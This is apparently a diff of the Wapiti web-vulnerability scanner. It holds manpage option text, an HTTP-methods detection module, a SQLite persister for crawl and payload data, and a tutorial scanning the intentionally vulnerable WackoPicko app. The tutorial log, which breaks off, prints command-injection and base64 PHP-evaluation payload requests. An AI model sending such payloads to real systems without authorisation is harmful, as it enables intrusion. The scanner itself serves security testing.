When Wapiti crawls a website it gives each found URL a depth value\.
|
||||
.
|
||||
.br
|
||||
The base URL, and additionnal starting URLs (\-s) are given a depth of 0\.
|
||||
.
|
||||
.br
|
||||
Each link found in thoses URLs got a depth of 1, and so on\.
|
||||
.
|
||||
.br
|
||||
Default maximum depth is 40 and is very large\.
|
||||
.
|
||||
.br
|
||||
This limit make sure the scan will stop at some time\.
|
||||
.
|
||||
.br
|
||||
For a fast scan a depth inferior to 5 is recommanded\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-max\-links\-per\-page\fR \fIMAX\fR
|
||||
.
|
||||
.br
|
||||
This is another option to be able to reduce the number of URLs discovered by the crawler\.
|
||||
.
|
||||
.br
|
||||
Only the first MAX links of each webpage will be extracted\.
|
||||
.
|
||||
.br
|
||||
This option is not really effective as the same link may appear on different webpages\.
|
||||
.
|
||||
.br
|
||||
It should be useful is rare conditions, for exeample when there is a lot a webpages without query string\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-max\-files\-per\-dir\fR \fIMAX\fR
|
||||
.
|
||||
.br
|
||||
Limit the number of URLs to crawl under each folder found on the webserver\.
|
||||
.
|
||||
.br
|
||||
Note that an URL with a trailing slash in the path is not necessarily a folder with Wapiti will treat it as its is\.
|
||||
.
|
||||
.br
|
||||
Like the previous option it should be useful only in certain situations\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-max\-scan\-time\fR \fIMINUTES\fR
|
||||
.
|
||||
.br
|
||||
Stop the scan after MINUTES minutes if it is still running\.
|
||||
.
|
||||
.br
|
||||
Should be useful to automatise scanning from another process (continuous testing)\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-max\-parameters\fR \fIMAX\fR
|
||||
.
|
||||
.br
|
||||
URLs and forms having more than MAX input parameters will be discarded before launching attack modules\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-S\fR, \fB\-\-scan\-force\fR \fIFORCE\fR
|
||||
.
|
||||
.br
|
||||
The more input parameters an URL or form have, the more requests Wapiti will send\.
|
||||
.
|
||||
.br
|
||||
The sum of requests can grow rapidly and attacking a form with 40 or more input fields can take a huge ammount of time\.
|
||||
.
|
||||
.br
|
||||
Wapiti use a mathematical formula to reduce the numbers of URLs scanned for a given pattern (same variables names) when the number of parameters grows\.
|
||||
.
|
||||
.br
|
||||
The formula is \fBmaximum_allowed_patterns = 220 / (math\.exp(number_of_parameters * factor) ** 2)\fR where factor is an internal value controller by the \fIFORCE\fR value you give as an option\.
|
||||
.
|
||||
.br
|
||||
Availables choices are : paranoid, sneaky, polite, normal, aggressive, insane\.
|
||||
.
|
||||
.br
|
||||
Default value is normal (147 URLs for 1 parameter, 30 for 5, 5 for 10, 1 for 14 or more)\.
|
||||
.
|
||||
.br
|
||||
Insane mode just remove the calculation of thoses limits, every URL will be attacked\.
|
||||
.
|
||||
.br
|
||||
Paranoid mode will attack 30 URLs with 1 parameter, 5 for 2, and just 1 for 3 and more)\.
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.SH "HTTP AND NETWORK OPTIONS"
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-t\fR, \fB\-\-timemout\fR \fISECONDS\fR
|
||||
.
|
||||
.br
|
||||
Time to wait (in seconds) for a HTTP response before considering failure\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-H\fR, \fB\-\-header\fR \fIHEADER\fR
|
||||
.
|
||||
.br
|
||||
Set a custom HTTM header to inject in every request sent by Wapiti\. This option can be used several times\.
|
||||
.
|
||||
.br
|
||||
Value should be a standard HTTP header line (parameter and value separated with a : sign)\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-A\fR, \fB\-\-user\-agent\fR \fIAGENT\fR
|
||||
.
|
||||
.br
|
||||
Default behavior of Wapiti is to use the same User\-Agent as the TorBrowser, making it discreet when crawling standard website or \.onion ones\.
|
||||
.
|
||||
.br
|
||||
But you may have to change it to bypass some restrictions so this option is here\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-verify\-ssl\fR \fIVALUE\fR
|
||||
.
|
||||
.br
|
||||
Wapiti doesn\'t care of certificates validation by default\. That behavior can be changed by passing 1 as a value to that option\.
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.SH "OUTPUT OPTIONS"
|
||||
Wapiti prints its status to standard output\. The two following options allow to tune the output\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-color\fR
|
||||
.
|
||||
.br
|
||||
Outpout will be colorized based on the severity of the information (red is critical, orange for warnings, green for information)\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-v\fR, \fB\-\-verbose\fR \fILEVEL\fR
|
||||
.
|
||||
.br
|
||||
Set the level of verbosity for the output\. Possible values are quiet (O), normal (1, default behavior) and verbose (2)\.
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.SH "REPORT OPTIONS"
|
||||
Wapiti will generate a report at the end of the attack process\. Several formats of reports are available\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-f\fR, \fB\-\-format\fR \fIFORMAT\fR
|
||||
.
|
||||
.br
|
||||
Set the format of the report\. Valid choices are json, html, txt, openvas, vulneranet and xml\.
|
||||
.
|
||||
.br
|
||||
Although the HTML reports were rewritten to be more responsive, they still are impraticable when there is a lot of found vulnerabilities\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-o\fR, \fB\-\-output\fR \fIOUTPUT_PATH\fR
|
||||
.
|
||||
.br
|
||||
Set the path were the report will be generated\.
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.SH "OTHER OPTIONS"
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-version\fR
|
||||
.
|
||||
.br
|
||||
Print Wapiti version then exit\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-no\-bugreport\fR
|
||||
.
|
||||
.br
|
||||
If a Wapiti attack module crashes of a non\-caught exception a bug report is generated and sent for analysis in order to improve Wapiti reliability\. Note that only the content of the report is kept\.
|
||||
.
|
||||
.br
|
||||
You can still prevent reports from being sent using that option\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-h\fR, \fB\-\-help\fR
|
||||
.
|
||||
.br
|
||||
Show detailed options description\. More details are available in this manpage though\.
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.SH "LICENSE"
|
||||
Wapiti is covered by the GNU General Public License (GPL), version 2\. Please read the COPYING file for more information\.
|
||||
.
|
||||
.SH "COPYRIGHT"
|
||||
Copyright (c) 2006\-2018 Nicolas Surribas\.
|
||||
.
|
||||
.SH "AUTHORS"
|
||||
Nicolas Surribas is the main author, but the whole list of contributors is found in the separate AUTHORS file\.
|
||||
.
|
||||
.SH "WEBSITE"
|
||||
http://wapiti\.sourceforge\.net/
|
||||
.
|
||||
.SH "BUG REPORTS"
|
||||
If you find a bug in Wapiti please report it to https://sourceforge\.net/p/wapiti/bugs/
|
||||
.
|
||||
.SH "SEE ALSO"
|
||||
The INSTALL\.md file that comes with Wapiti contains every information required to install Wapiti\.
|
|
@ -0,0 +1,82 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from itertools import chain
|
||||
|
||||
from wapitiCore.attack.attack import Attack
|
||||
from wapitiCore.net.web import Request
|
||||
from requests.exceptions import RequestException
|
||||
|
||||
|
||||
class mod_methods(Attack):
|
||||
"""
|
||||
This class detects interesting HTTP methods
|
||||
"""
|
||||
|
||||
name = "methods"
|
||||
PRIORITY = 6
|
||||
KNOWN_METHODS = {"GET", "POST", "OPTIONS", "HEAD", "TRACE"}
|
||||
do_get = False
|
||||
do_post = False
|
||||
|
||||
def attack(self):
|
||||
excluded_path = set()
|
||||
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
|
||||
|
||||
for original_request in chain(http_resources, forms):
|
||||
try:
|
||||
page = original_request.path
|
||||
if page in excluded_path:
|
||||
continue
|
||||
|
||||
excluded_path.add(page)
|
||||
|
||||
option_request = Request(
|
||||
page,
|
||||
"OPTIONS",
|
||||
referer=original_request.referer,
|
||||
link_depth=original_request.link_depth
|
||||
)
|
||||
|
||||
if self.verbose == 2:
|
||||
print("[+] {}".format(option_request))
|
||||
|
||||
try:
|
||||
response = self.crawler.send(option_request)
|
||||
except RequestException:
|
||||
continue
|
||||
else:
|
||||
if 200 <= response.status < 400:
|
||||
methods = response.headers.get("allow", '').upper().split(',')
|
||||
methods = {method.strip() for method in methods if method.strip()}
|
||||
interesting_methods = sorted(methods - self.KNOWN_METHODS)
|
||||
|
||||
if interesting_methods:
|
||||
self.log_orange("---")
|
||||
self.log_orange(
|
||||
"Interesting methods allowed on {}: {}".format(
|
||||
page,
|
||||
", ".join(interesting_methods)
|
||||
)
|
||||
)
|
||||
self.log_orange("---")
|
||||
except (KeyboardInterrupt, RequestException) as exception:
|
||||
yield exception
|
||||
|
||||
yield original_request
|
|
@ -0,0 +1,508 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2017-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import os
|
||||
import json
|
||||
import sqlite3
|
||||
from collections import namedtuple
|
||||
|
||||
from wapitiCore.net import web
|
||||
|
||||
|
||||
Payload = namedtuple("Payload", "evil_request,original_request,category,level,parameter,info,type")
|
||||
|
||||
|
||||
class SqlitePersister:
|
||||
"""This class makes the persistence tasks for persisting the crawler parameters
|
||||
in other to can continue the process in the future.
|
||||
"""
|
||||
|
||||
CRAWLER_DATA_DIR_NAME = "scans"
|
||||
HOME_DIR = os.getenv("HOME") or os.getenv("USERPROFILE")
|
||||
BASE_DIR = os.path.join(HOME_DIR, ".wapiti")
|
||||
CRAWLER_DATA_DIR = os.path.join(BASE_DIR, CRAWLER_DATA_DIR_NAME)
|
||||
|
||||
ROOT_URL = "rootURL"
|
||||
TO_BROWSE = "toBrowse"
|
||||
BROWSED = "browsed"
|
||||
RESOURCE = "resource"
|
||||
METHOD = "method"
|
||||
PATH = "path"
|
||||
INPUT = "input"
|
||||
INPUT_NAME = "name"
|
||||
INPUT_VALUE = "value"
|
||||
HEADERS = "headers"
|
||||
HEADER = "header"
|
||||
HEADER_NAME = "name"
|
||||
HEADER_VALUE = "value"
|
||||
ENCODING = "encoding"
|
||||
MULTIPART = "multipart"
|
||||
REFERER = "referer"
|
||||
GET_PARAMS = "get_params"
|
||||
POST_PARAMS = "post_params"
|
||||
FILE_PARAMS = "file_params"
|
||||
DEPTH = "depth"
|
||||
|
||||
def __init__(self, output_file: str):
|
||||
# toBrowse can contain GET and POST resources
|
||||
self.to_browse = []
|
||||
# browsed contains only GET resources
|
||||
self.browsed_links = []
|
||||
# forms contains only POST resources
|
||||
self.browsed_forms = []
|
||||
self.uploads = []
|
||||
self.headers = {}
|
||||
self.root_url = ""
|
||||
|
||||
self.tag = ""
|
||||
self.array = None
|
||||
|
||||
self.method = ""
|
||||
self.path = ""
|
||||
self.encoding = ""
|
||||
self.multipart = False
|
||||
self.referer = ""
|
||||
self.get_params = []
|
||||
self.post_params = []
|
||||
self.file_params = []
|
||||
self.depth = 0
|
||||
self.output_file = output_file
|
||||
|
||||
must_create = not os.path.exists(self.output_file)
|
||||
self._conn = sqlite3.connect(self.output_file)
|
||||
|
||||
cursor = self._conn.cursor()
|
||||
|
||||
if must_create:
|
||||
cursor.execute("""CREATE TABLE scan_infos (key TEXT, value TEXT)""")
|
||||
cursor.execute(
|
||||
"""CREATE TABLE paths (
|
||||
path_id INTEGER PRIMARY KEY,
|
||||
path TEXT,
|
||||
method TEXT,
|
||||
multipart INTEGER,
|
||||
depth INTEGER,
|
||||
encoding TEXT,
|
||||
http_status INTEGER,
|
||||
headers TEXT,
|
||||
referer TEXT,
|
||||
evil INTEGER
|
||||
)"""
|
||||
)
|
||||
|
||||
cursor.execute(
|
||||
"""CREATE TABLE params (
|
||||
path_id INTEGER,
|
||||
type TEXT,
|
||||
param_order INTEGER,
|
||||
name TEXT,
|
||||
value TEXT,
|
||||
FOREIGN KEY(path_id) REFERENCES paths(path_id)
|
||||
)"""
|
||||
)
|
||||
|
||||
cursor.execute(
|
||||
"""CREATE TABLE attack_log (path_id INTEGER, module_name TEXT)"""
|
||||
)
|
||||
|
||||
cursor.execute(
|
||||
"""CREATE TABLE payloads (
|
||||
evil_path INTEGER PRIMARY KEY,
|
||||
original_path INTEGER,
|
||||
category TEXT,
|
||||
level INTEGER,
|
||||
parameter TEXT,
|
||||
info TEXT,
|
||||
type TEXT
|
||||
)"""
|
||||
)
|
||||
|
||||
self._conn.commit()
|
||||
|
||||
def set_root_url(self, root_url):
|
||||
cursor = self._conn.cursor()
|
||||
cursor.execute("""INSERT INTO scan_infos VALUES (?, ?)""", ("root_url", root_url))
|
||||
self._conn.commit()
|
||||
self.root_url = root_url
|
||||
|
||||
def get_root_url(self):
|
||||
cursor = self._conn.cursor()
|
||||
cursor.execute("SELECT value FROM scan_infos WHERE key = 'root_url'")
|
||||
return cursor.fetchone()[0]
|
||||
|
||||
def set_to_browse(self, to_browse):
|
||||
self._set_paths(to_browse)
|
||||
|
||||
def get_to_browse(self):
|
||||
yield from self._get_paths(method=None, crawled=False)
|
||||
|
||||
def _set_paths(self, paths):
|
||||
cursor = self._conn.cursor()
|
||||
for http_resource in paths:
|
||||
cursor.execute(
|
||||
"""INSERT INTO paths VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""",
|
||||
(
|
||||
None,
|
||||
http_resource.path,
|
||||
http_resource.method,
|
||||
int(http_resource.is_multipart),
|
||||
http_resource.link_depth,
|
||||
http_resource.encoding,
|
||||
http_resource.status if isinstance(http_resource.status, int) else None,
|
||||
None if http_resource.headers is None else json.dumps(dict(http_resource.headers)),
|
||||
http_resource.referer,
|
||||
0
|
||||
)
|
||||
)
|
||||
path_id = cursor.lastrowid
|
||||
for i, (k, v) in enumerate(http_resource.get_params):
|
||||
cursor.execute(
|
||||
"""INSERT INTO params VALUES (?, ?, ?, ?, ?)""",
|
||||
(path_id, "GET", i, k, v)
|
||||
)
|
||||
|
||||
for i, (k, v) in enumerate(http_resource.post_params):
|
||||
cursor.execute(
|
||||
"""INSERT INTO params VALUES (?, ?, ?, ?, ?)""",
|
||||
(path_id, "POST", i, k, v)
|
||||
)
|
||||
|
||||
for i, (k, v) in enumerate(http_resource.file_params):
|
||||
# v kill be something like ['pix.gif', 'GIF89a', 'image/gif']
|
||||
# just keep the file name
|
||||
cursor.execute(
|
||||
"""INSERT INTO params VALUES (?, ?, ?, ?, ?)""",
|
||||
(path_id, "FILE", i, k, v[0])
|
||||
)
|
||||
self._conn.commit()
|
||||
|
||||
def add_request(self, link):
|
||||
self._set_paths([link])
|
||||
|
||||
def _get_paths(self, path=None, method=None, crawled: bool=True, attack_module: str="", evil: bool=False):
|
||||
cursor = self._conn.cursor()
|
||||
|
||||
conditions = ["evil = ?"]
|
||||
args = [int(evil)]
|
||||
|
||||
if path and isinstance(path, str):
|
||||
conditions.append("path = ?")
|
||||
args.append(path)
|
||||
|
||||
if method in ("GET", "POST"):
|
||||
conditions.append("method = ?")
|
||||
args.append(method)
|
||||
|
||||
if crawled:
|
||||
conditions.append("headers IS NOT NULL")
|
||||
|
||||
conditions = " AND ".join(conditions)
|
||||
conditions = "WHERE " + conditions
|
||||
|
||||
cursor.execute("SELECT * FROM paths {} ORDER BY path".format(conditions), args)
|
||||
|
||||
for row in cursor.fetchall():
|
||||
path_id = row[0]
|
||||
|
||||
if attack_module:
|
||||
# Exclude requests matching the attack module, we wan't requests that aren't attacked yet
|
||||
cursor.execute(
|
||||
"SELECT * FROM attack_log WHERE path_id = ? AND module_name = ? LIMIT 1",
|
||||
(path_id, attack_module)
|
||||
)
|
||||
|
||||
if cursor.fetchone():
|
||||
continue
|
||||
|
||||
get_params = []
|
||||
post_params = []
|
||||
file_params = []
|
||||
|
||||
for param_row in cursor.execute(
|
||||
"SELECT type, name, value FROM params WHERE path_id = ? ORDER BY type, param_order", (path_id, )
|
||||
):
|
||||
name = param_row[1]
|
||||
value = param_row[2]
|
||||
if param_row[0] == "GET":
|
||||
get_params.append([name, value])
|
||||
elif param_row[0] == "POST":
|
||||
post_params.append([name, value])
|
||||
else:
|
||||
file_params.append([name, [value, "GIF89a", "image/gif"]])
|
||||
|
||||
http_res = web.Request(
|
||||
row[1],
|
||||
method=row[2],
|
||||
encoding=row[5],
|
||||
multipart=bool(row[3]),
|
||||
referer=row[8],
|
||||
get_params=get_params,
|
||||
post_params=post_params,
|
||||
file_params=file_params
|
||||
)
|
||||
|
||||
if row[6]:
|
||||
http_res.status = row[6]
|
||||
|
||||
if row[7]:
|
||||
http_res.set_headers(json.loads(row[7]))
|
||||
|
||||
http_res.link_depth = row[4]
|
||||
http_res.path_id = path_id
|
||||
|
||||
yield http_res
|
||||
|
||||
def get_links(self, path=None, attack_module: str=""):
|
||||
yield from self._get_paths(path=path, method="GET", crawled=True, attack_module=attack_module)
|
||||
|
||||
def get_forms(self, attack_module: str=""):
|
||||
yield from self._get_paths(method="POST", crawled=True, attack_module=attack_module)
|
||||
|
||||
def count_paths(self) -> int:
|
||||
cursor = self._conn.cursor()
|
||||
cursor.execute("SELECT COUNT(path_id) from paths WHERE evil = 0")
|
||||
return cursor.fetchone()[0]
|
||||
|
||||
def set_attacked(self, path_id, module_name):
|
||||
cursor = self._conn.cursor()
|
||||
cursor.execute("INSERT INTO attack_log VALUES (?, ?)", (path_id, module_name))
|
||||
self._conn.commit()
|
||||
|
||||
def count_attacked(self, module_name) -> int:
|
||||
cursor = self._conn.cursor()
|
||||
cursor.execute("SELECT COUNT(path_id) from attack_log WHERE module_name = ?", (module_name, ))
|
||||
return cursor.fetchone()[0]
|
||||
|
||||
def has_scan_finished(self):
|
||||
cursor = self._conn.cursor()
|
||||
cursor.execute("SELECT path_id FROM paths WHERE headers IS NULL LIMIT 1")
|
||||
if cursor.fetchone():
|
||||
return False
|
||||
return True
|
||||
|
||||
def has_scan_started(self) -> bool:
|
||||
cursor = self._conn.cursor()
|
||||
cursor.execute("SELECT path_id FROM paths LIMIT 1")
|
||||
if cursor.fetchone():
|
||||
return True
|
||||
return False
|
||||
|
||||
def have_attacks_started(self) -> bool:
|
||||
cursor = self._conn.cursor()
|
||||
cursor.execute("SELECT path_id FROM attack_log LIMIT 1")
|
||||
if cursor.fetchone():
|
||||
return True
|
||||
return False
|
||||
|
||||
def add_payload(
|
||||
self, request_id: int, payload_type: str, category=None, level=0, request=None, parameter="", info=""):
|
||||
cursor = self._conn.cursor()
|
||||
|
||||
cursor.execute(
|
||||
"""INSERT INTO paths VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""",
|
||||
(
|
||||
None,
|
||||
request.path,
|
||||
request.method,
|
||||
int(request.is_multipart),
|
||||
request.link_depth,
|
||||
request.encoding,
|
||||
request.status if isinstance(request.status, int) else None,
|
||||
None if request.headers is None else json.dumps(dict(request.headers)),
|
||||
request.referer,
|
||||
1
|
||||
)
|
||||
)
|
||||
|
||||
# path_id is the ID of the evil path
|
||||
path_id = cursor.lastrowid
|
||||
for i, (k, v) in enumerate(request.get_params):
|
||||
cursor.execute(
|
||||
"""INSERT INTO params VALUES (?, ?, ?, ?, ?)""",
|
||||
(path_id, "GET", i, k, v)
|
||||
)
|
||||
|
||||
for i, (k, v) in enumerate(request.post_params):
|
||||
cursor.execute(
|
||||
"""INSERT INTO params VALUES (?, ?, ?, ?, ?)""",
|
||||
(path_id, "POST", i, k, v)
|
||||
)
|
||||
|
||||
for i, (k, v) in enumerate(request.file_params):
|
||||
cursor.execute(
|
||||
"""INSERT INTO params VALUES (?, ?, ?, ?, ?)""",
|
||||
(path_id, "FILE", i, k, v[0])
|
||||
)
|
||||
|
||||
# request_id is the ID of the original (legit) request
|
||||
cursor.execute(
|
||||
"INSERT INTO payloads VALUES (?, ?, ?, ?, ?, ?, ?)",
|
||||
(path_id, request_id, category, level, parameter, info, payload_type)
|
||||
)
|
||||
self._conn.commit()
|
||||
|
||||
def add_anomaly(self, request_id: int=-1, category=None, level=0, request=None, parameter="", info=""):
|
||||
self.add_payload(
|
||||
request_id,
|
||||
"anomaly",
|
||||
category,
|
||||
level,
|
||||
request,
|
||||
parameter,
|
||||
info
|
||||
)
|
||||
|
||||
def add_vulnerability(self, request_id: int=-1, category=None, level=0, request=None, parameter="", info=""):
|
||||
self.add_payload(
|
||||
request_id,
|
||||
"vulnerability",
|
||||
category,
|
||||
level,
|
||||
request,
|
||||
parameter,
|
||||
info
|
||||
)
|
||||
|
||||
def get_path_by_id(self, path_id):
|
||||
cursor = self._conn.cursor()
|
||||
|
||||
cursor.execute("SELECT * FROM paths WHERE path_id = ? LIMIT 1", (path_id, ))
|
||||
|
||||
row = cursor.fetchone()
|
||||
if not row:
|
||||
return None
|
||||
|
||||
get_params = []
|
||||
post_params = []
|
||||
file_params = []
|
||||
|
||||
for param_row in cursor.execute(
|
||||
"SELECT type, name, value FROM params WHERE path_id = ? ORDER BY type, param_order", (path_id, )
|
||||
):
|
||||
name = param_row[1]
|
||||
value = param_row[2]
|
||||
if param_row[0] == "GET":
|
||||
get_params.append([name, value])
|
||||
elif param_row[0] == "POST":
|
||||
post_params.append([name, value])
|
||||
else:
|
||||
file_params.append([name, [value, "GIF89a", "image/gif"]])
|
||||
|
||||
request = web.Request(
|
||||
row[1],
|
||||
method=row[2],
|
||||
encoding=row[5],
|
||||
multipart=bool(row[3]),
|
||||
referer=row[8],
|
||||
get_params=get_params,
|
||||
post_params=post_params,
|
||||
file_params=file_params
|
||||
)
|
||||
|
||||
if row[6]:
|
||||
request.status = row[6]
|
||||
|
||||
if row[7]:
|
||||
request.set_headers(json.loads(row[7]))
|
||||
|
||||
request.link_depth = row[4]
|
||||
request.path_id = path_id
|
||||
|
||||
return request
|
||||
|
||||
def get_payloads(self):
|
||||
cursor = self._conn.cursor()
|
||||
cursor.execute("SELECT * FROM payloads")
|
||||
|
||||
for row in cursor.fetchall():
|
||||
evil_id, original_id, category, level, parameter, info, payload_type = row
|
||||
|
||||
evil_request = self.get_path_by_id(evil_id)
|
||||
original_request = self.get_path_by_id(original_id)
|
||||
|
||||
yield Payload(evil_request, original_request, category, level, parameter, info, payload_type)
|
||||
|
||||
def flush_session(self):
|
||||
self.flush_attacks()
|
||||
cursor = self._conn.cursor()
|
||||
cursor.execute("DELETE FROM paths")
|
||||
cursor.execute("DELETE FROM params")
|
||||
self._conn.commit()
|
||||
|
||||
def flush_attacks(self):
|
||||
cursor = self._conn.cursor()
|
||||
cursor.execute("DELETE FROM attack_log") # which module was launched on which URL
|
||||
cursor.execute("DELETE FROM payloads") # informations on vulnerabilities and anomalies
|
||||
cursor.execute("DELETE FROM paths WHERE evil = 1") # Evil requests
|
||||
# Remove params tied to deleted requests
|
||||
cursor.execute("DELETE FROM params WHERE path_id NOT IN (SELECT path_id FROM paths)")
|
||||
self._conn.commit()
|
||||
|
||||
def delete_path_by_id(self, path_id):
|
||||
cursor = self._conn.cursor()
|
||||
# First remove all references to that path then remove it
|
||||
cursor.execute("DELETE FROM payloads WHERE evil_path = ? OR original_path = ?", (path_id, path_id))
|
||||
cursor.execute("DELETE FROM attack_log WHERE path_id = ?", (path_id, ))
|
||||
cursor.execute("DELETE FROM params WHERE path_id = ?", (path_id, ))
|
||||
cursor.execute("DELETE FROM paths WHERE path_id = ?", (path_id, ))
|
||||
self._conn.commit()
|
||||
|
||||
def get_big_requests_ids(self, params_count: int) -> list:
|
||||
cursor = self._conn.cursor()
|
||||
cursor.execute(
|
||||
"SELECT path_id, count(*) as params_count FROM params GROUP BY path_id HAVING params_count > ?",
|
||||
(params_count, )
|
||||
)
|
||||
|
||||
path_ids = set()
|
||||
for row in cursor.fetchall():
|
||||
path_id, count = row
|
||||
path_ids.add(path_id)
|
||||
|
||||
return list(path_ids)
|
||||
|
||||
def remove_big_requests(self, params_count: int) -> int:
|
||||
path_ids = self.get_big_requests_ids(params_count)
|
||||
|
||||
for path_id in path_ids:
|
||||
self.delete_path_by_id(path_id)
|
||||
return len(path_ids)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
persister = SqlitePersister("/tmp/crawl.db")
|
||||
for http_res in persister.get_links():
|
||||
print(http_res)
|
||||
print("-"*30)
|
||||
|
||||
for http_res in persister.get_forms():
|
||||
print(http_res)
|
||||
print("-" * 30)
|
||||
|
||||
for http_res in persister.get_to_browse():
|
||||
print(http_res)
|
||||
|
||||
print("-" * 30)
|
||||
for http_res in persister.get_links("http://127.0.0.1/users/encoding/bad.php"):
|
||||
print(http_res)
|
||||
print("-" * 30)
|
||||
|
||||
print(persister.get_root_url())
|
||||
|
||||
for http_res in persister.get_links(attack_module="xss"):
|
||||
print(http_res.path_id)
|
|
@ -0,0 +1,149 @@
|
|||
Hello,
|
||||
|
||||
Here is a really fast tutorial on Wapiti and Wapiti-getcookie usage to show how to login to a website to retrieve cookies
|
||||
then use the generated cookie file to launch a Wapiti scan.
|
||||
|
||||
First, I use wapiti-getcookie to login in the restricted area and get the cookie in cookies.json :
|
||||
|
||||
bash-4.2$ wapiti-getcookie -u http://wackopicko/users/login.php -c cookies.json
|
||||
<Cookie PHPSESSID=aofe1utktsh6q4blip8nr9820lksehjf0tr3019vm6bq8v1ca6d1 for wackopicko/>
|
||||
|
||||
Choose the form you want to use or enter 'q' to leave :
|
||||
0) GET http://wackopicko/pictures/search.php?query=&x=1&y=1 (0)
|
||||
1) POST http://wackopicko/users/login.php (0)
|
||||
data: username=&password=
|
||||
|
||||
Enter a number : 1
|
||||
|
||||
Please enter values for the following form:
|
||||
url = http://wackopicko/users/login.php
|
||||
username: wanda
|
||||
password: wanda
|
||||
<Cookie PHPSESSID=aofe1utktsh6q4blip8nr9820lksehjf0tr3019vm6bq8v1ca6d1 for wackopicko/>
|
||||
|
||||
It can also be done with wapiti-getcookie this way (if you have all necessary informations about the form) :
|
||||
wapiti-getcookie -u http://wackopicko/users/login.php -c cookies.json -d "username=wanda&password=wanda"
|
||||
|
||||
Then, I scan the vulnerable website using the cookie and excluding the logout script :
|
||||
|
||||
bash-4.2$ wapiti -u http://wackopicko/ -x http://wackopicko/users/logout.php -c cookies.json
|
||||
|
||||
██╗ ██╗ █████╗ ██████╗ ██╗████████╗██╗██████╗
|
||||
██║ ██║██╔══██╗██╔══██╗██║╚══██╔══╝██║╚════██╗
|
||||
██║ █╗ ██║███████║██████╔╝██║ ██║ ██║ █████╔╝
|
||||
██║███╗██║██╔══██║██╔═══╝ ██║ ██║ ██║ ╚═══██╗
|
||||
╚███╔███╔╝██║ ██║██║ ██║ ██║ ██║██████╔╝
|
||||
╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═════╝
|
||||
Wapiti-3.0.0 (wapiti.sourceforge.net)
|
||||
[*] Saving scan state, please wait...
|
||||
|
||||
Note
|
||||
========
|
||||
This scan has been saved in the file /home/devloop/.wapiti/scans/wackopicko_folder_30e1d821.db
|
||||
[*] Wapiti found 41 URLs and forms during the scan
|
||||
[*] Loading modules:
|
||||
mod_crlf, mod_exec, mod_file, mod_sql, mod_xss, mod_backup, mod_htaccess, mod_blindsql, mod_permanentxss, mod_nikto, mod_delay, mod_buster, mod_shellshock
|
||||
|
||||
[*] Launching module exec
|
||||
---
|
||||
Received a HTTP 500 error in http://wackopicko/admin/index.php
|
||||
Evil request:
|
||||
GET /users/WackoPicko/website/admin/index.php?page=%3Benv HTTP/1.1
|
||||
Host: wackopicko
|
||||
---
|
||||
---
|
||||
PHP evaluation in http://wackopicko/admin/index.php via injection in the parameter page
|
||||
Evil request:
|
||||
GET /users/WackoPicko/website/admin/index.php?page=data%3A%3Bbase64%2CPD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA%2FPg%3D%3D HTTP/1.1
|
||||
Host: wackopicko
|
||||
---
|
||||
---
|
||||
Received a HTTP 500 error in http://wackopicko/admin/index.php
|
||||
Evil request:
|
||||
